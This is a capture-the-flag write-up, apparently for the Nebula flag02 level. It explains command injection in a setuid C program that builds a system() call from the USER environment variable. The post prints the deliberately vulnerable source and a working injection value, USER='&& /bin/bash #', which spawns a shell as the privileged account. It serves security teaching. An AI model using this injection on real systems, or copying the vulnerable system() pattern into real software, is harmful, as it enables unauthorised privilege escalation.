22 Apr 2020
You shouldn’t trust the user. If the application executes a command that is built either entirely or partially from user input, it’s vulnerable to command injection.
Inspecting the executable in the flag account’s home directory /home/flag02
we again see that it
is setuid
and is owned by flag02
.
To make our lives easier, we are also provided with the source:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
char *buffer;
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
buffer = NULL;
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);
system(buffer);
}
Again, the application sets our REAL uid & gid to our EFFECTIVE uid & gid which means
as far as the running process is concerned, we are user flag02
; now we just need to get it to do
our bidding.
The application builds up the command using the value in the $USER
environment variable, stores it in the
buffer, and eventually executes it.
asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
...
system(buffer)
Our goal is to craft a value for the $USER
variable such that we are provided with a shell when the command is run.
We can short circuit the call to /bin/echo
with &&
, invoke /bin/bash
, and comment out the rest
of the command with #
:
$ USER='&& /bin/bash #' /home/flag02/flag02
The resulting command is
/bin/echo && /bin/bash # is cool
The #
at the end is crucial because without it bash
would try to execute a non-existent file called is
and fail.
Instead, we are presented with a shell as flag02
which we can verify with whoami
if we’re in doubt.
To complete the level we use our escalated privileges to run getflag
$ getflag
"You have successfully executed getflag on a target account"
In summary: